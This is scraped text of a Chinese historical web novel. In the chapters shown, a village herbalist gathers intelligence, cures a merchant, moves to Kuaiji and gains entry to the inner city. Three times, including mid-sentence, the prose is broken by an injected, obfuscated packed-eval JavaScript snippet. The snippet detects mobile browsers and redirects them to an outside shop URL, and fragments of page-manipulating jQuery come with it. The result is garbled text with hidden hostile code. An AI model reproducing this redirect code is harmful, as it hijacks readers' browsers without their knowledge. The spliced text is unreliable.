;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一张看不见的、细细密密的网，用那些琐碎的信息、用那些不起眼的草药、用那些看似无用的邻里关系，一点一点地编织。 她不知道这张网能有多大，能撑多久，能在关键时刻兜住什么。 但她知道，她不能停。 “翠儿，”她开口，“谢谢你。” “又谢。”翠儿翻了个白眼，“你就不能跟我客气点？” 施晓青笑了笑，从屋里拿出一个小陶罐，递给她：“这是我新做的薄荷膏，擦蚊虫叮咬的，也能提神。给你阿母用。” 翠儿接过，打开闻了闻，一股清凉的薄荷味扑面而来，舒服得她眯起眼：“好香！你怎么什么都会做？” “学的。” “跟谁学的？” 施晓青顿了顿，目光不自觉地飘向那条空荡荡的村路。 “跟一个……朋友。”她说。 翠儿看着她，忽然安静下来。 “阿青，”她轻声说，“你是不是……特别想她？” 施晓青没有回答。 她只是转过身，继续捣她的药。 药杵落在石臼里，发出沉闷的、有节奏的声响。 咚，咚，咚，像心跳。 像远方某个人的脚步声。 像那些被编进麻绳里的、说不出口的思念，一扣一扣，敲在这个冬天最冷的日子里。 翠儿站了一会儿，见她不说话，轻轻叹了口气，抱着陶罐走了。 院子里又只剩下施晓青一个人。 她放下药杵，从怀里摸出那根编了一半的带子，已经编了很长了。 她用手指量了量，从这头到那头，刚好是她双臂展开的长度。 够了。 她把带子折起来，小心翼翼地收进怀里，贴着心口的位置。 然后她拿起炭笔，在那叠桑树皮的最新一页上，写下几行字： “陶朱记布庄，管事姓周，在会稽城有数间铺面。与范蠡有关。” “李叔之子年后将往，或可成为消息来源之一。” …… 她放下炭笔，看着窗外漆黑的夜。 夷光，你那边，应该也入冬了吧？ 你会不会冷？有没有人给你添衣裳？ 你还留着那些薄荷叶吗？还记不记得那些字？ 她闭上眼，在黑暗中，慢慢地，一个字一个字地在心里念： 我在，我一直都在。 风从窗缝里钻进来，冷得她打了个哆嗦。 但她没有动，她就那么坐着，在黑暗中，守着那叠桑树皮，守着那根带子，守着那个远在会稽城的名字。 像守着一盏灯。 一盏很小很小的、在无边的黑夜里，怎么也不肯灭的灯。 14. 启程 冬天深了。 苎萝村的阴雨终于停歇，取而代之的是彻骨的干冷。清晨的草叶上结着白霜，溪边浣纱的妇人们缩手缩脚，呵出的白气在空气中凝成一团，又迅速散去。 施晓青却比以往更忙了。 她的草药摊子，已经不止于苎萝村。 消息是从货郎孙老三那里传出去的—— 苎萝村有个姑娘，懂些草药，治好了不少人的小毛病，分文不取，只爱听人说外头的事。 这话传到镇上，传到更远的村子里，渐渐有人专程来找她。 一个腿脚不便的老汉，拄着拐杖走了半日山路，就为了让她看看膝盖上那个常年流脓的疮。 施晓青用金银花、蒲公英根和野菊花熬成膏，给他敷上，又包了一包干药让他带回去。老汉千恩万谢，从怀里摸出几个铜钱，她没收，只让他坐下喝碗水，说说路上的见闻。 老汉喝了水，说了半日的话。说镇上来了新县令，年轻，据说很有几分手段；说官道上的关卡又多了，盘查得紧，好像是怕什么人混进来；说他路过的一个村子，前阵子被征了好几个壮丁，送去修什么城墙。 施晓青一一记下。 她的话越来越少，记的东西越来越多。那叠桑树皮已经换了好几次，从薄薄的一摞变成厚厚的一捆，藏在床底最深处，连阿母都很少去看。 翠儿隔三差五地来，带着各种各样的消息，大多是村里镇上的闲话，偶尔也有些有用的。 李叔家的儿子已经去了会稽城，在陶朱记布庄当学徒，头一封信回来，说掌柜待他不错，管吃管住，每月还有几十个钱。 “李婶高兴得见人就显摆。”翠儿撇撇嘴，“好像她儿子已经当了大官似的。” 施晓青没接话，只是把那封信的事记在心里。 陶朱记。 范蠡。 她一直在想，要不要用那个机会。 范蠡说过，若遇难处，可去陶朱记寻个方便。可她拿什么去？那日没有接玉珏，如今贸然找上门，凭什么让人相信她？何况，她现在的身份不过是一个懂些草药的村女，就算见了范蠡，又能说什么？ 她需要更有分量的东西。 需要让范蠡觉得，她这个人，值得他花时间见一面。 * 腊月初九，天刚亮，院门被人拍得山响。 施晓青披衣出来，看见门外站着两个陌生男子，一老一少，穿着厚实的棉袍，像是有些身份的人。 那年长的面色焦急，见到她就问：“你就是施晓青？会治病的那个？” “略懂些草药，不敢说治病。”施晓青打量着他们，“二位是——” “我家主人病了。”那年长的打断她，“镇上、城里的郎中都看过了，不见好。有人提起你，说你有些土方子，治好了不少人。请你跟我们走一趟。” “你家主人是谁？” “你去了就知道。” 施晓青站着没动。 那年长的急了：“姑娘，救人如救火，你还有什么顾虑？” “我总得知道，要给谁看病。”施晓青不紧不慢地说，“什么症状，病了几日，用过什么药。这些不问清楚，我不敢去。” 年长的愣了一下，似乎没想到一个村女会问出这些话。他犹豫片刻，压低声音：“我家主人是……镇上开粮行的周掌柜。病了七八日了，发热不退，浑身起疹子，又痒又痛。请了好几个郎中，有的说是风寒，有的说是热毒，开的药吃了都不管用。昨夜又烧起来，人都迷糊了。” 周掌柜。施晓青在脑子里搜刮了一下，隐约记得翠儿提过这个名字——镇上最大的粮行，跟县衙的人有来往，消息灵通。 “我去。”她说，“但我有几样药要带上，得容我收拾一下。” “好好好，你收拾，我们等你。” 施晓青转身进屋，动作很快。她把常用的几味药各包了一些，又带上一小罐自己熬的薄荷膏，最后犹豫了一下，从床底抽出那叠桑树皮里最新的一张，折好，塞进怀里。 走之前，她去跟阿母说了一声。阿母正坐在灶房里择菜，听她说要去镇上给人看病，手里的菜叶掉在地上。 “你……你要去镇上？” “嗯，很快就回来。” 阿母看着她，嘴唇动了动，想说什么，最终只是叹了口气：“你小心些。” “知道了。” 马车已经在门外等着了。 施晓青爬上车，那年长的坐在前面赶车，年轻的那个跟在车旁。车轮碾过冻硬的土路，发出咯吱咯吱的声响。 苎萝村在身后越来越小，渐渐缩成一个小小的点，最后被一片枯黄的树林吞没。 施晓青掀开车帘，看着外面掠过的田野、山丘、稀稀落落的村庄。这条路，夷光走过。她坐的也是这样的马车，也是这样的冬天，也是这样灰蒙蒙的天。 她忽然觉得，自己离夷光近了一些。 不是距离上的近——会稽城还在很远很远的地方。是那种……走同一条路、看同一片天的近。 马车走了大半个时辰，到了镇上。 镇子比苎萝村大了不知多少倍，青石板路两旁是鳞次栉比的铺面，卖布的、卖粮的、卖杂货的，虽然比不上一月一次的大集热闹，但也人来人往，颇有几分气象。 施晓青记下几间铺面的名字，目光在“陶朱记”三个字上停了一瞬，那间布庄门面不小，进出的客人也不少。 马车在镇子东头一处大宅前停下。宅门气派，门前蹲着两只石狮子，门楣上挂着“周府”的匾额。 施晓青跟着那年长的进了门，穿过前院、中院，最后在一间满是药味的卧房前停下。 床上躺着个四十来岁的男人，面色潮红，呼吸粗重，露在外面的手臂上布满了红色的疹子，有些已经被抓破了，渗着血丝。 床边坐着一个妇人，眼睛哭得红肿，见施晓青进来，上上下下打量了她一番，脸上的失望几乎藏不住。 “就……就她？”妇人看向那年长的，“一个黄毛丫头，能行吗？” “夫人，”年长的为难地说，“城里的郎中都请遍了，实在没法子——” “那就再请！”妇人的声音尖利起来，“请不到就去找！我男人要是有什么三长两短——” “夫人。”施晓青开口了，声音不大，却让那妇人一愣，“我先看看周掌柜的症状。若是我治不了的，我立刻走，不耽误你们请别人。” 妇人张了张嘴，被她的镇定噎住了，最终哼了一声，让到一边。 施晓青走到床边，先看了看周掌柜的脸色，又看了看那些疹子的分布和形态，最后伸手探了探他的额头——烫得吓人。 “这些疹子，是先出的还是后出的？一开始是什么样子？” 妇人和那年长的你一句我一句地说起来。施晓青一边听，一边在脑子里飞快地比对。 发热，出疹，瘙痒，用过多种药无效，病情持续七八日…… 可能不是风寒，不是热毒，而是——药疹。或者说，是用药不当引起的过敏反应。 在现代，这是常识。可在这个时代，郎中们只知对症下药，发热便用发散之药，出疹便用清热之品，几味药叠加在一起，若恰好有病人过敏的，只会越治越重。 “之前用的药方，还有吗？” 妇人从柜子里翻出一叠药方，递给她。 施晓青一张一张地看，虽然看不太懂那些复杂的药材配伍，但她认出了几味常见的——麻黄、桂枝、荆芥……都是辛温发散之物。对于一个本就在发热的病人，再用这些，无异于火上浇油。 “这些药，不能再吃了。”她放下药方。 “你说不能吃就不能吃？”妇人瞪起眼睛，“那些可都是城里郎中的方子！” “夫人的意思是，让周掌柜继续吃下去，等那些疹子长满全身？”施晓青看着她，语气不卑不亢。 妇人噎住了。 施晓青没有再跟她争辩，而是转向那年长的：“我需要一些东西。干净的布，温水，盐，还有……绿豆。” “绿豆？” “对。越多越好。” 那年长的虽然疑惑，但见她胸有成竹的样子，还是赶紧让人去准备了。 施晓青打开自己带来的药包，挑出几样——金银花、连翘、薄荷、甘草。这些都不是什么贵重药材， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486889|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但清热解毒、疏风散热，正是眼下需要的。 “先用盐水给周掌柜擦身，尤其是疹子多的地方，动作要轻，别把疹子弄破了。擦完之后用干净的布擦干，不要着凉。” 她一边说，一边把那些药材配好，“这个拿去煮水，煮开之后小火再熬一刻钟，滤出药汁，放温了给周掌柜喝。不要一次喝太多，分次喂。” “绿豆呢？”那年长的问。 “绿豆煮汤，不要放别的，煮到豆子开花，汤色发绿。那个汤给周掌柜当水喝，能喝多少喝多少。” 她顿了顿，又说：“还有，把屋里那些药都撤了，窗户开一条缝，透透气。这屋里药味太浓，病人也受不了。” 那年长的连连点头，吩咐人去办。 妇人站在一旁，脸色难看，但见施晓青安排得井井有条，终究没有再说难听的话。 施晓青没有走。她坐在外间的椅子上，等着看周掌柜服药后的反应。不是她不想走，是她不能走。万一出了什么岔子，她得在场。 等待的时间很漫长。她靠着椅背，闭着眼，脑子里却在转别的。 周掌柜、粮行、县衙、消息。 这是她一直在等的机会。 一个能让她接触到镇上、甚至城里消息的渠道。一个比货郎、脚夫、行商更稳定、更可靠的信息来源。 如果这次能治好周掌柜，这个人情…就欠下了。 她睁开眼，目光落在窗外的天色上。灰蒙蒙的，看不出时辰。远处的屋顶上，有炊烟升起，一缕一缕，散在寒风里。 苎萝村这个时候，阿母应该在做饭了。 翠儿大概又会来找她，发现她不在，然后到处打听她去了哪里。 她忽然有些想笑。 一个时辰后，周掌柜醒了。 不是那种迷迷糊糊的清醒，而是真正的、眼神清明的醒来。他看了看床边的妇人，又看了看站在门口的张妈，声音虚弱地问：“我……这是……” “老爷！你醒了！”妇人扑过去，哭得上气不接下气。 施晓青站在门口，没有进去。 她看见周掌柜的脸色还是潮红的，但那种不正常的潮红已经退了一些，呼吸也平稳了许多。疹子没有消退得那么快，但至少没有再蔓延。 “周掌柜，”她在门口说，“药要按时吃，绿豆汤也要继续喝。这几日饮食要清淡，粥、汤、软烂的菜，油腻辛辣的碰都不能碰。若有什么变化，让人来苎萝村找我。” 周掌柜转过头，看着她，目光里有些惊讶：“你是……” “她是给你看病的那个姑娘。”妇人擦了擦眼泪，语气里已经没有之前的敌意，但还是有些不甘，“就她那些……那些土方子。” 周掌柜没有理会妇人的语气，他看着施晓青，点了点头：“多谢姑娘。周某这条命，算是姑娘捡回来的。” “掌柜的言重了。”施晓青微微欠身，“我先回去了。明日再来看看。” “这么晚了，姑娘怎么回去？”周掌柜说，“让老赵套车送你。” “多谢。” 马车再次碾过冻硬的土路。 施晓青靠在车壁上，怀里揣着周家硬塞的一小袋钱和几包点心。她没有推辞，不是因为贪图这些东西，而是知道，收了，这事才算两清。 不，不算两清，还差得远。一个粮行掌柜的人情，不是一小袋钱能还完的。 她掀开车帘，看着外面漆黑的夜。星星出来了，密密麻麻的，像是谁在天上撒了一把碎米。 夷光，你看到这些星星了吗？ 你是不是也在某个地方，抬头看着同一片天？ 她摸了摸怀里的那袋钱，又摸了摸那叠桑树皮。 快了。 等她攒够了资本，等她有了足够的筹码去见范蠡—— 她就去会稽。 去找夷光。 车轮碾过冻土，咯吱咯吱，像是某种古老的节拍，一下一下，敲在这个深冬的夜里。 苎萝村的灯火在远处若隐若现，小小的，黄黄的，像一颗一颗落在人间的星星。 施晓青看着那些灯火，忽然觉得，这漫漫长路，好像也没有那么远了。 15. 会稽 周掌柜的病情，比施晓青预想的恢复得更快。 三日后，她再次被马车接到镇上时，周掌柜已经能下床走动了。疹子消退了大半，热也退了，只是人还有些虚。 他坐在堂屋里，披着一件厚棉袍，面前摆着热茶和点心，见施晓青进来，便要起身行礼。 “周掌柜别动。”施晓青快步上前，按住他的肩膀，“您身子还没好利索，别折腾。” “姑娘是我的救命恩人，这礼，该行。”周掌柜执意拱了拱手，才重新坐下。 他看着施晓青，目光里带着几分审视，更多的是感激，“姑娘年纪轻轻，却有这般本事，实在难得。那些城里来的郎中，诊金收得不少，开的药却差点要了我的命。倒是姑娘那些……土方子，把我从鬼门关拉了回来。” 施晓青在旁边的椅子上坐下，接过丫鬟递来的热茶，抿了一口：“周掌柜过奖了。我不过是凑巧知道些旁人不知道的法子罢了。” “凑巧？”周掌柜笑了，“这世上哪有那么多凑巧。姑娘的本事，是实打实的。” 他顿了顿，端起茶杯，似乎在想什么。 片刻后，他放下杯子，正色道：“姑娘，你救了我的命，我周某人不是忘恩负义的人。你若有需要我帮忙的地方，尽管开口。只要我做得到的，绝不含糊。” 施晓青端着茶杯的手微微一顿。 她等的，就是这句话。 “周掌柜客气了。”她放下杯子，迎上他的目光，“我确实……有件事想麻烦您。” “说。” “我想去会稽城。” 周掌柜愣了一下：“会稽城？” “是。”施晓青的声音平稳，像是在说一件再寻常不过的事，“我从小在苎萝村长大，没出过远门。我想去外面看看，长长见识。听说会稽城是越国最繁华的地方，我想……” “你想去会稽城做什么？”周掌柜打断她，目光里多了几分探究，“姑娘不是那种贪慕虚荣的人。你要去会稽，一定有你的理由。” 施晓青沉默了片刻。 她知道，周掌柜是个聪明人。聪明人面前，不能撒谎，但也不必全说真话。 “我有一个朋友，”她慢慢地说，“她去了会稽。我想知道她过得好不好。” 周掌柜看着她，没有追问。 “就这些？” “就这些。” 周掌柜端起茶杯，喝了一口，放下，又端起来，再放下。如此反复了几次，终于点了点头。 “巧了。”他说，“我过几日正好要去会稽城，粮行有一批货要送，还有些账目要跟那边的合作伙伴对。若姑娘不嫌弃，可以跟我一道。” 施晓青的心跳快了一拍，面上却不动声色：“那会不会太麻烦周掌柜了？” “麻烦什么。”周掌柜摆摆手，“你救了我的命，我带你一程，这算什么麻烦。只是——”他顿了顿，“姑娘去会稽，打算住哪里？做什么营生？” “住的地方，还想请周掌柜帮忙留意。”施晓青说，“至于营生……我会些草药，懂些调理的法子，到了城里，或许能找到事做。” 周掌柜想了想：“我有个远房亲戚，在会稽城南开了间小铺子，卖些杂货。铺子后面有个小院子，空着一间屋。你若是不嫌弃，可以先住那里。至于营生……姑娘的本事，到了城里不愁没人找。” “多谢周掌柜。”施晓青站起来，郑重地行了一礼。 “别别别，”周掌柜连忙摆手，“你救我命，我帮你找个住处，扯平了。别动不动就行礼，我受不起。” 施晓青重新坐下，心里的一块石头落了地。 会稽城。 她要去会稽城了。 离夷光，又近了一步。 马车在五日后出发。 施晓青只带了一个包袱。里面是几件换洗的衣裳，那叠厚厚的桑树皮，那根编了很久的麻绳带子，以及几包最常用的草药。 阿母站在院门口，眼圈红红的，却忍着没哭。 “到了那边，记得写信回来。”阿母的声音有些哑，“别……别逞强，有什么事，就回来。” “知道了，阿母。” 施晓青抱了抱她，感觉到阿母瘦削的身体在微微发抖，“等我安顿好了，就给你写信。你要照顾好自己，那些药我放在灶房柜子里了，用法都写在树皮上，你看不懂就让翠儿念给你听。” “你呀……”阿母终于忍不住，眼泪掉了下来，“总是惦记别人，就不惦记惦记自己。” 施晓青笑了笑，没有接话。 翠儿站在一旁，已经哭得稀里哗啦了。她从怀里掏出一个布包，塞到施晓青手里： “这是我给你做的鞋垫，你路上用。还有……还有我阿母腌的咸菜，你带着，城里的东西贵，能省就省。” 施晓青接过，鼻子有些酸。 “翠儿，谢谢你。” “谢什么谢！”翠儿抹了把眼泪，“你到了那边，要写信给我。要是不写，我就……我就去会稽城找你！” “好。” 施晓青上了马车，掀开车帘，最后看了一眼苎萝村。 那些低矮的茅屋，那条空荡荡的村路，那棵老槐树光秃秃的枝丫，还有站在院门口的阿母和哭成泪人的翠儿。 她看了很久，直到那些熟悉的一切都消失在路的尽头。 周掌柜坐在车厢里，见她放下车帘，递过来一个热乎乎的饼子：“吃点东西吧，路还长着呢。” “多谢。”施晓青接过饼子，咬了一口。饼子是粗粮做的，有些硬，但嚼起来很香。 马车在官道上走了整整两天。 第一天，施晓青大部分时间都在看外面的风景。田野、山丘、河流、村庄，一切都在向后飞掠。偶尔有骑马的人从车旁经过，扬起一阵尘土，又消失在远处。 第二天，她不再看了。她靠着车壁，闭着眼，脑子里一遍一遍地过着那些桑树皮上的信息。 会稽城的情况，她知道的并不多。货郎孙老三和那些行商说的，大多是些零碎的、不成体系的消息。但她从那些碎片里，拼凑出了一个大概的轮廓—— 会稽城很大，分为内城外城。内城是王宫和贵族住的地方，普通人进不去。外城是平民和商贾聚集之地，鱼龙混杂，什么人都有。 范蠡的府邸在内城，但陶朱记布庄在外城。那个布庄，是范蠡用来敛财和打探消息的掩护。 夷光应该在内城的某个地方。那些被选中的女子，不会住在普通人能接触到的地方。 所以，她不能直接去找夷光。 她需要先在外城站稳脚跟，然后慢慢地、一点一点地…… 马车在第二日傍晚抵达会稽城。 施晓青掀开车帘，看见高大的城墙在暮色中投下巨大的阴影。 城门洞开着，进出的行人络绎不绝，有挑担的货郎，有骑马的商贾，有坐轿的贵妇人，也有衣衫褴褛的乞丐。 城门口站着几个兵士，懒洋洋地检查着来往的行人和车辆。轮到她们的马车时，兵士掀开车帘看了一眼，见是女眷，便挥挥手让她们过去了。 马车进了城，施晓青的眼睛几乎不够用了。 街道比镇上的宽了不知多少倍，两旁是密密麻麻的铺面，卖布的、卖粮的、卖药的、卖首饰的、卖香料的……招牌林立，灯火通明。街上的人摩肩接踵，说话声、叫卖声、车马声混成一片，热闹得不像话。 “这是外城最热闹的一条街。”周掌柜说，“再往里走，就是内城了，普通人进不去。你的住处在外城南边，安静些，但也偏僻些。” “偏僻些好。”施晓青说，“我不喜欢太吵。” 马车穿过几条街，拐进一条窄巷，在一间小铺子前停下。 铺子不大，门脸旧旧的，上面挂着一块褪色的招牌，写着“李记杂货”。铺子里点着一盏油灯，昏黄的光透过门缝漏出来。 周掌柜下了车，上前敲了敲门。 不一会儿，门开了，一个五十来岁的男人探出头来，看见周掌柜，愣了一下，随即笑了起来：“表哥？你怎么来了？不是说后日才到吗？” “路上顺，提前到了。”周掌柜拍拍他的肩膀，“老李，我给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486890|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你带了个人。” 他侧过身，指了指身后的施晓青：“这是施姑娘，我的救命恩人。要在会稽城住些日子，你那个空屋子，先借给她住。” 老李上下打量了施晓青一番，目光里带着几分好奇，但还是笑着点了点头：“表哥的恩人，就是我的恩人。进来吧，屋里乱，别嫌弃。” “多谢李叔。”施晓青提着包袱，跟着进了屋。 铺子不大，前面是店面，后面是一个小小的院子。院子里堆着些杂货，角落有一口水井，还有一间小小的厢房。 “就是这间。”老李推开厢房的门，里面有一张床、一张桌子、一把椅子，虽然简陋，但还算干净。 “很好。”施晓青把包袱放在床上，转身对老李道谢，“麻烦李叔了。” “不麻烦不麻烦。”老李摆摆手，“你先收拾着，我去给你们做饭。表哥难得来，得好好喝两杯。” 老李出去了，周掌柜站在门口，对施晓青说：“姑娘先住下，有什么需要就跟老李说。我在会稽城还要待几日，办完事就回去。姑娘若是想回去，到时候可以跟我一道。” “多谢周掌柜。”施晓青说，“我想先在城里看看，过些日子再说回去的事。” 周掌柜点了点头，没有多问，转身去了前院。 施晓青关上门，把包袱里的东西一样一样拿出来。 衣裳叠好，放进床头那个简陋的木柜里。桑树皮和麻绳带子，藏在床板下面。草药包放在桌上，打开，一样一样检查过，确认没有受潮，才重新包好。 最后，她从包袱底部摸出一个小小的布包。 打开，里面是几片已经干透的薄荷叶。 那是她留给自己的。 她拿起一片薄荷叶，放在鼻子底下闻了闻。 清苦的香气，熟悉得让人想哭。 夷光，我来了。 我到了会稽城了。 你在这里吗？你在哪个方向？你离我，有多远？ 她把薄荷叶小心地放回布包里，贴身收好。 然后她坐在床边，看着窗外渐渐暗下来的天。 会稽城的夜空，比苎萝村的小。星星被城墙和屋檐遮住了大半，只有几颗最亮的，在头顶微微闪烁。 但她知道，夷光就在这片夜空下的某个地方。 呼吸着同样的空气，看着同样的星星。 这就够了。 第二天一早，施晓青就起来了。 她帮着老李收拾店面，摆货、扫地、擦柜台，手脚麻利，一点也不像个客人。老李看在眼里，对她的印象又好了几分。 “施姑娘，你不用这么客气。”老李说，“你是客人，哪能让你干活。” “李叔收留我，我干点活是应该的。”施晓青擦着柜台，头也不抬，“再说，我闲着也是闲着。” 老李笑了笑，没有再拦。 吃过早饭，施晓青跟老李说想去街上走走，认认路。老李给她指了方向，又叮嘱她别走太远，天黑前回来。 施晓青出了门，沿着昨天来的那条路，慢慢地走。 她没有目的，只是走。 看那些铺面的招牌，记它们的位置。看那些行人的衣着和神态，猜他们的身份。听那些叫卖声和讨价还价声，从中捕捉有用的信息。 走了大约半个时辰，她停在一间布庄门前。 门面很大，招牌上写着三个大字——陶朱记。 施晓青站在门口，没有进去。 她看着那三个字，看了很久。 然后她的目光落在布庄里面一个正在搬货的年轻伙计身上。 那伙计生得黝黑壮实，穿着短褐，满头大汗地把一匹匹布从库房搬到店面。 李叔的儿子。 那个从苎萝村来的、在陶朱记当学徒的年轻人。 施晓青没有上前打招呼。她只是站在街对面，看着那个忙碌的身影，记下了他进出的时间、和哪些人说话、掌柜的模样、客人进出的频率。 然后她转身，继续往前走。 不急。 路还长着。 16. 城南施姑娘 才二月，城南墙根的野草已经冒出嫩绿的芽尖，巷口那棵老槐树也缀满了细碎的绿叶。 风从城外吹来，带着泥土翻新的气息，比起冬天那种割脸的冷，这风润润的、软绵绵的。 施晓青站在李记杂货铺门口，把一块写满了字的木板挂在门边。 木板上歪歪扭扭地写着几个字—— “草药·调理·小恙可询”。 字是她自己用木炭写的，谈不上好看，但清晰。木板是老李帮她找的，旧货架拆下来的，边角磨得光滑，不扎手。 “施姑娘，你这字……”老李从铺子里探出头来，看了一眼，欲言又止。 “不好看？”施晓青拍拍手上的灰。 “也不是不好看，就是……”老李挠挠头，“人家药铺的招牌都是请秀才写的，你这……” “李叔，我又不开药铺。”施晓青笑了，“我就是卖点草药，帮邻里看看小毛病。写得太正经，反倒吓着人。” 老李想了想，觉得也有道理，便没再说什么。 挂牌的第一天，没有客人。 第二天，也没有。 施晓青不急。她每天照常帮老李看铺子，招呼来买杂货的客人，顺手把柜台旁边那个小角落整理得干干净净。 她从镇上药材行进的几味常用药——薄荷、紫苏、金银花、甘草、艾草——分门别类地码在小陶罐里，罐口用布封着，贴着写了药名的纸条。 老李的杂货铺卖的是针头线脑、油盐酱醋，来的都是街坊邻居。施晓青跟每个人都笑脸相迎，不多话，但该说的都说在点子上。 “张大嫂，你家的孩子是不是又咳嗽了？我这儿有些枇杷叶，拿回去煮水喝，加两粒冰糖，润肺的。不要钱，你先拿回去试试。” “赵叔，你脸色不太好，是不是又熬夜赶车了？我这儿有薄荷，你含一片提提神，别硬撑着。” “刘家阿婆，你的腿还疼不疼？我给你留了些艾草，拿回去煮水泡脚，能祛寒。” 开始没人当回事。一个十五六岁的姑娘，懂什么？ 但慢慢地，有人试了。 张大嫂家的孩子喝了枇杷叶水，咳嗽确实轻了。赵叔含了薄荷片，赶车时不再犯困。刘家阿婆泡了艾草水，腿疼缓解了不少。 消息在城南的街巷里传开了。 “李记杂货铺那个姓施的姑娘，会看病，还不要钱。” “真的假的？” “真的！我家孩子的咳嗽就是她治好的，就几片叶子，没收一个钱。” “那我也去看看，我这头疼好些日子了……” 人开始来了。 先是三三两两，后来渐渐多了起来。 施晓青每天早上开门，门口已经有人在等着。她一个一个地看，仔细问症状，不逞强，能治的就给药，不能治的就直说，让去找真正的郎中。 她坚持不收诊金。药材的成本低，她从那袋周掌柜给的钱里匀出一部分进货，偶尔收些鸡蛋、青菜、几个铜板，也够维持了。 “施姑娘，你这样下去，自己吃什么？”老李看不下去了，偷偷跟她说，“你总不能一直往里贴钱。” “李叔，我有数的。”施晓青一边捣药一边说，“等大家信我了，自然有人愿意给钱。现在刚起步，不着急。” 老李叹了口气，没有再说。 他心里清楚，这个姑娘来会稽城，不是为了开药铺赚钱的。 她一定有别的目的。 但有些事，不知道比知道好。 施晓青的病人，大多是城南的普通百姓。 卖菜的、赶车的、跑腿的、帮佣的、做小买卖的……都是些在生存线上挣扎的人，生不起大病，小病小痛又舍不得花钱看郎中。施晓青的草药摊子，正好填补了这个空白。 她对待每个病人都很耐心，不敷衍，不嫌弃。那些身上有异味的、衣衫褴褛的、说话粗鲁的，她都一视同仁。 慢慢地，这些人开始把她当自己人。 “施姑娘，我今儿在城门口看见一队兵过去了，往北边去的，听说是去边境换防。” “施姑娘，我昨天给内城一个管家送货，听他抱怨说，最近内城管得严了，进出都要查验腰牌，连熟面孔都不放过。” “施姑娘，我听说城西新开了一家酒楼，是哪个贵人的产业，里面的人出手阔绰得很，一个小二打赏都比咱们一个月挣的多。” 施晓青一边给人看病，一边把这些信息都记在心里。 每天晚上，她回到那间小厢房，点上油灯，把白天听到的消息分类整理到桑树皮上。 内城的消息还是太少。 她知道夷光在内城，知道内城有王宫、有贵族府邸、有那些被选中的女子受训的地方。但她不知道具体在哪里，不知道夷光住在哪个院子，不知道她每天做什么，不知道她过得好不好。 她需要一个能进得去内城的人。 或者，一个能从内城出来的人。 这天下午，施晓青正在铺子里给一个老太太看风湿腿，门外进来一个穿着半旧绸衫的中年男人。 男人四十来岁，面白无须，举止斯文，一看就不是城南的普通百姓。他在铺子里站了一会儿，目光扫过那些杂货，最后落在施晓青的草药摊子上。 “你就是那个会治病的施姑娘？”他问。 施晓青抬起头，打量了他一眼：“我是。您哪里不舒服？” “不是我。”男人从袖子里掏出一块帕子，擦了擦额头的汗，“是我家主人。他最近总是睡不好，吃了很多安神的药都不管用。听说城南有个姑娘会调理，让我来看看。” “你家主人是谁？” “这个……不便透露。”男人笑了笑，笑容里带着几分警惕，“姑娘若是方便，可否随我走一趟？诊金好说。” 施晓青看着他，心里飞快地转着。 不便透露主人的身份——说明不是普通人家。 穿着半旧绸衫，但料子不错——是个管家或者贴身仆从。 举止斯文，说话有分寸——在大户人家待久了。 “我一般不出诊。”施晓青说，“不过若是情况特殊，也可以破例。只是我有几个规矩。” “姑娘请说。” “第一，我只调理小毛病，大病治不了，别耽误。第二，我不保证能治好，只能试试。第三，”她顿了顿，“我要先知道你家主人是谁。不是我要打听，是我得知道是什么身份的人，才能判断用什么分寸的药。” 男人犹豫了一下，压低声音：“我家主人……在内城。” 内城…… 施晓青的心猛地一跳。 “我家主人是……”男人又犹豫了一下，似乎在权衡什么，最终还是说了，“是王宫里的一个管事。身份不高，但也不低。最近王宫里事多，他累得厉害，觉都睡不着。听人说城南有个姑娘会调理，让我来请。” 王宫里的管事。 施晓青深吸一口气，压下心头的激动。 “行，我去。”她说，“等我收拾一下。” 她转身进了后院，从厢房里拿出一个小药箱——那是她用旧木板钉的，里面放着几味常用药、一块干净的布、一小包薄荷糖，这是她自己做的，用蜂蜜和薄荷汁熬的，提神醒脑。 路过老李身边时，她低声说：“李叔，我去内城一趟，晚上回来。” 老李正在打算盘，闻言手一顿：“内城？你去内城做什么？” “给人看病。” 老李看着她，目光里有些担忧，但最终还是点了点头：“小心些。” “知道了。” 施晓青跟着那个男人出了城南，穿过几条街，越走越深，两旁的建筑越来越气派。 青石板路干干净净，路边种着修剪整齐的树木，偶尔有骑马的人经过，衣饰华丽，气度不凡。 “前面就是内城的城门了。”男人指着前方一道高大的门洞，“姑娘跟紧我，别走散了。” 内城的城门比外城小一些，但守卫更严。门口站着两排兵士，腰佩长刀，目光如鹰。 男人从怀里掏出一块铜牌，递给守卫查验。守卫看了看铜牌，又看了看施晓青，问：“她是谁？” “城南的大夫，来给府上看病的。”男人陪笑道。 守卫又看了施晓青一眼，见她是个年轻的姑娘，手里提着个旧木箱，不像是能惹事的样子，挥了挥手：“进去吧。天黑之前出来。” “是是是。” 施晓青低着头，跟着男人快步穿过城门。 内城。 她进来了。 